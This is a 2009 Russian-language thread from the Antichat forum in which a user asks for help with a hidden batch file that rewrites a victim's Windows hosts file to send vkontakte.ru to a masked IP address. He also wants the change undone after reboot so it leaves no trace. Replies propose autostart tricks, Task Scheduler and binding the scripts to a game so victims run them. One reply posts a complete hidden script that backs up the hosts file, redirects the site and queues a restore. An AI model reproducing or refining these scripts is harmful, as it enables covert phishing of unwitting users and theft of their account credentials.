Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Вопрос по bat файлу, который изменяет hosts (https://forum.antichat.xyz/showthread.php?t=137066)

microlab12 24.08.2009 16:08

Вопрос по bat файлу, который изменяет hosts
 
Здравствуйте, есть батник
Цитата:

cmdow @ /HID @echo off
echo -- >> %windir%\system32\drivers\etc\hosts
echo **.**.** www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?

Kaimi 24.08.2009 16:29

Видимо добавить в автозагрузку батник очищающий hosts файл

aqqa 24.08.2009 16:29

Цитата:

Сообщение от microlab12
Здравствуйте, есть батник

Что нужно дописать или как сделать, чтоб через определенное время (например после перезагрузки) файл hosts снова становился прежним?

Напиши еще 1 батник и впиздяч в автозагрузку

root_sashok 24.08.2009 16:30

Прописать в AUTOEXEC.BAT очистку hosts:

echo #clean > %SystemRoot%\system32\drivers\etc\hosts :)

microlab12 24.08.2009 16:34

Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

root_sashok 24.08.2009 16:40

Цитата:

Сообщение от microlab12
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

AUTOEXEC.BAT запускается вместе с системой.

=Zeus= 24.08.2009 16:43

Цитата:

Сообщение от microlab12
Всем спасибо. Насколько я понял обязательно исп. еще один батник :( А как нить его запустить вместе с предыдущим? Или может можно в предыдущий дописать строчку, которая б очищала hosts через 20 минут например?

Если нет, то как заставить юзера открыть два батника (екзешника), это ведь уже проблематичней?

Не нужно ничего открывать. Как только откроет первый - из него извлекай второй и пиши в автозагрузку.

microlab12 24.08.2009 16:44

=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(

=Zeus= 24.08.2009 16:48

Цитата:

Сообщение от microlab12
=Zeus=, а не подскажешь правильный код, ато у меня несовсем работает :(

ОМГ, какой код? Выше тебе уже все написали.

Код:

echo blablabla >> %windir%\AUTOEXEC.BAT
Таким макаром пиши куда угодно и что угодно. Бла-бла это текст, который ты запишешь в файл. В твоем случее это путь к батнику.

microlab12 24.08.2009 17:02

=Zeus=, может я сейчас конкретно туплю, но как я буду знать путь ко второму батнику у юзера?

Цитата:

echo #clean > %SystemRoot%\system32\drivers\etc\hosts >> %windir%\AUTOEXEC.BAT
- вот так, насколько я понял, работать не будет?

Огризок 24.08.2009 17:09

А почему бы не склеить два батника с какой-то игрой или еще с чем-нибуть?

microlab12 24.08.2009 17:22

Огризок, не подскажешь как?
Возможно кто-нибудь поможет и даст подсказки по ICQ 598-774-29 пять, если нужно - заплачу. Спасибо.

microlab12 24.08.2009 22:56

Подскажите пожалуйста хоть кто-то, уже совсем отчаялся, никак не выходит вписать в первый батник второй, в котором идет очищение файла hosts после перезагрузки системы.

Zedi 25.08.2009 00:45

Почитай про планировщик задач в винде, можно будет добавить выполнение батника через 20 минут

aqqa 25.08.2009 10:05

скачай вот эту прогу http://s0m.narod.ru/s0m27p_inst.zip
делов наворотить там можно каких угодно! И в любой момент времени запустишь че хочешь!!!!!!

Pernat1y 25.08.2009 10:51

превад зиродэй
Код:

cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts


microlab12 25.08.2009 16:30

Цитата:

Сообщение от Pernat1y
превад зиродэй
Код:

cmdow @ /HID @echo off
copy %windir%\system32\drivers\etc\hosts %windir%\system32\drivers\etc\hosts.backup /y
echo copy %windir%\system32\drivers\etc\hosts.backup %windir%\system32\drivers\etc\hosts /y >> %systemdrive%\autoexec.bat
echo **.**.** www.vkontakte.ru > %windir%\system32\drivers\etc\hosts
echo **.**.** vkontakte.ru >> %windir%\system32\drivers\etc\hosts


Создал батник, запустил, в hosts оно дописало, а вот после перезагрузки ничего не меняет. hosts остается прежним :(

SpangeBoB 25.08.2009 17:02

XP читает только переменные окружения из autoexec.bat,остальные команды он просто игнорирует.

microlab12 25.08.2009 21:45

SpangeBoB, что ж делать?

SpangeBoB 25.08.2009 22:31

Цитата:

Сообщение от microlab12
SpangeBoB, что ж делать?

Внимательно прочитать пост Zedi.

aqqa 10.09.2009 10:02

как расклеить файлы склеиных командой copy /b *.exe 3.exe

Gray_Wolf 10.09.2009 14:53

Как вариант, можно использовать и 1 батник, но тогда прийдётся юзать хвост...


Время: 10:42